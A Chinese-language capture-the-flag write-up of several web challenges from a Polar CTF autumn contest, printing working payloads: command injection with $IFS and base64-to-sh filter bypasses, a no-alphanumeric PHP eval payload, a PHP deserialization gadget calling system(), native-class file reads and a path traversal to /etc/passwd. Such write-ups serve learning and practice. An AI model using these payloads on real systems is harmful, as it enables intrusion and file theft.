Polar秋季个人赛WEB_WP

Polar秋季个人赛WEB_WP

ezupload:

image-20230923092810825

url:

1
http://2469cefa-72d1-4f8f-a274-87b44a1cc826.www.polarctf.com:8090/uploads/pass1.php

payload:

1
pass=system('cat ../flag.php');

image-20230923092840078

再来ping一波啊

payload:

base64绕过法格式:使用$IFS$9代替空格，sh代替bash

1
127.0.0.1|echo$IFS$9Y2F0IC4vaW5kZXgucGhw|base64$IFS$9-d|sh

dir /

image-20230923101128445

dir ../../:
image-20230923101348330

payload:

1
127.0.0.1|dir

image-20230923102308231

payload:

1
2
3
127.0.0.1|echo cat ./index.php|base64 -d|bash
=>使用base64绕过法
127.0.0.1|echo$IFS$9Y2F0IC4vaW5kZXgucGhw|base64$IFS$9-d|sh
1
127.0.0.1|dir$IFS$9..:返回上一级目录

image-20230923101845558

查看网页源代码:

image-20230923101955812

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PolarD&N CTF</title>
<center>
	<h2 style="margin-top: 300">来做个复习<br></h2>
	<form action="" method="get" >
		<input type="text" name="ip" placeholder="Why not try bjut.edu.cn" required>
		<button style="margin-left:20;" type="submit">确定</button>
	</form>

	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>PolarD&N CTF</title>
<center>
	<h2 style="margin-top: 300">来做个复习<br></h2>
	<form action="" method="get" >
		<input type="text" name="ip" placeholder="Why not try bjut.edu.cn" required>
		<button style="margin-left:20;" type="submit">确定</button>
	</form>

	<?php
    $flag = 'flag{ae5eb824ef87499f644c3f11a7176157}';
	if(isset($_GET['ip'])){
		$ip = $_GET['ip'];
		if(preg_match("/\&|\/|\?|\*|\<|\>|`|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
			print_r($match);
			print($ip);
			echo "<pre>";
			echo preg_match("/\&|\/|\?|\*|\<|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
			die("fxck your symbol!");
		}
		else if(preg_match("/ /", $ip)){
			die("空格我可没加难度这可真是复习，/斜眼笑");
		}
		else if(preg_match("/bash/", $ip)){
			die("Bash is not allowed");
		}
		else if(preg_match("/ls/", $ip)){
			die("我很抱歉，其实你得再研究研究");
		}
       		 else if(preg_match("/cat|tac|sort|head|tail|more|less/", $ip)){
			die("常用的读取命令肯定不行，你要是想出绕过的也算你厉害。但过滤机制是改了的-。-，你再研究研究？");
		}
		else if(preg_match("/rm/", $ip)){
			die("你要搞我？？？");
		}
		else if(preg_match("/index/",$ip)){
			die("那能让你直接读？");
		}
		$a = system("ping -c 4 ".$ip);
		echo "<pre>";
		print_r($a);
	}

	?>
<!--其实就是出题人太懒了-->

</center>





<pre><!--其实就是出题人太懒了-->

</center>

wu:

代码审计：

1
2
3
4
5
6
7
8
9
 <?php
highlight_file(__FILE__);
$a = $_GET['a'];
//无数字字母绕过
if(preg_match("/[A-Za-z0-9]+/",$a)){
    die("no!");
}
@eval($a);
?>

payload:

1
2
3
4
5
GET:
?a=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

POST:
_=system('ls ./');

image-20230923131600566

payload:

1
2
3
4
5
GET:
?a=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

POST:
_=system('cat ./zheshiflag.php ');

image-20230923131710886

php very nice:

构造序列化字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

 class Example
 {
     public $sys='Can you find the leak?';
     function __destruct(){
         eval($this->sys);
     }
 }
$obj = new Example();
$obj->sys = "system('cat ./flag.php');";
$obj = serialize($obj);
$obj = urlencode($obj);
echo $obj;

 ?>

payload:

1
?a=O%3A7%3A%22Example%22%3A1%3A%7Bs%3A3%3A%22sys%22%3Bs%3A25%3A%22system%28%27cat+.%2Fflag.php%27%29%3B%22%3B%7D

image-20230923162344694

代码审计1:

1
2
3
4
5
6
7
8
9
10
11
<?php

highlight_file(__FILE__);
include('flag.php');
$sys = $_GET['sys'];
if (preg_match("|flag|", $xsx)) {
           die("flag is no here!");
} else {
    $xsx = $_GET['xsx'];
    echo new $sys($xsx);
}

payload:

1
?sys=FilesystemIterator&xsx=./

image-20230923164401248

使用php原生类返回flag.php的内容:

1
?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php

image-20230923172559963

image-20230923172610960

自由的文件上传系统：

payload:

1
2
sectet_include.php?file=upload/../sectet_include.php
/var/www/html/upload/4382754064

使用dirsearch：
image-20230923155441868

image-20230923155509582

image-20230923155519918

发现有.git泄露，但是.git泄露我没发现有用信息

.DS_Store:泄露也没有有用文件

payload:

1
sectet_include.php?file=../../../etc/passwd

image-20230923180939030

存在文件目录穿越，不过到最后也没有穿越出来。

Polar秋季个人赛WEB_WP
http://example.com/2023/09/24/2023-09-24-polar秋季个人赛/
作者
South
发布于
2023年9月24日
许可协议